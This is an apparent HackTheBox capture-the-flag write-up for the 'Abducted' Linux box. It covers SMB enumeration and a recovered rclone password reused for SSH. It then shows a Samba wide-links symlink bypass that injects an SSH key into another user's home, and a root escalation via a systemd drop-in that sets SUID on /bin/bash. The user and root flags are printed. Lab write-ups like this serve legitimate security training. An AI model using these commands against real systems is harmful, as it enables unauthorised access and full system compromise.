HackTheBox Writeup - Abducted

Name: Abducted OS: Linux Difficulty: Medium Target IP: 10.129.244.177

---

1. Enumeration

Nmap Scan

Initial scanning revealed two primary services:

• 22/tcp: OpenSSH 9.6p1
• 445/tcp: Samba 4.6.2

SMB Enumeration

A search of the system identified the presence of an offsite-backup configuration containing an obfuscated rclone password.

• Obfuscated Password: HZKAxfnMj-nLm59X9gpcC2ohjQL-WqVT6yRsNw
• Decrypted Password: iXzvcib3SrpZ

---

2. Initial Foothold: User ‘scott’

While the box is intended to be exploited via CVE-2026-4480 (Samba Print Injection), password reuse allowed for direct access.

Testing the decrypted rclone password against the user scott:

ssh scott@10.129.244.177
# Password: iXzvcib3SrpZ

Access was granted, and the user flag was retrieved.

User Flag: 6ce367aedc7efcffdd35a367115ee344

---

3. Lateral Movement: scott -> marcus

Enumeration of the SMB shares revealed the transfer share configuration:

• force user = marcus
• wide links = yes
• unix extensions = no

This configuration is vulnerable to a symlink bypass. By creating a symlink to /home/marcus within the share, we can interact with Marcus’s home directory as the marcus user through SMB.

1. Create Symlink (as scott):

   ln -s /home/marcus /srv/transfer/marcus_home
   

2. Inject SSH Key via SMB:

   smbclient //10.129.244.177/transfer -U 'scott%iXzvcib3SrpZ'
   smb: \> cd marcus_home
   smb: \marcus_home\> mkdir .ssh
   smb: \marcus_home\.ssh\> put id_rsa.pub authorized_keys
   smb: \marcus_home\.ssh\> setmode authorized_keys a-r
   

We then logged in as marcus via SSH.

---

4. Privilege Escalation: marcus -> root

The user marcus is a member of the operators group, which has write access to /etc/systemd/system/smbd.service.d/. This allows us to create a “drop-in” configuration that executes commands as root when the smbd service restarts.

1. Create Malicious Drop-in:

   cat << EOF > /etc/systemd/system/smbd.service.d/exploit.conf
   [Service]
   ExecStartPre=/usr/bin/bash -c "chmod +s /bin/bash"
   EOF
   

2. Trigger Execution:

   systemctl daemon-reload
   systemctl restart smbd
   

3. Escalate to Root: The drop-in set the SUID bit on /bin/bash.

   /bin/bash -p
   whoami # root
   

Root Flag: 5953b87bc3ce918c2b2ed9884ec1fbb5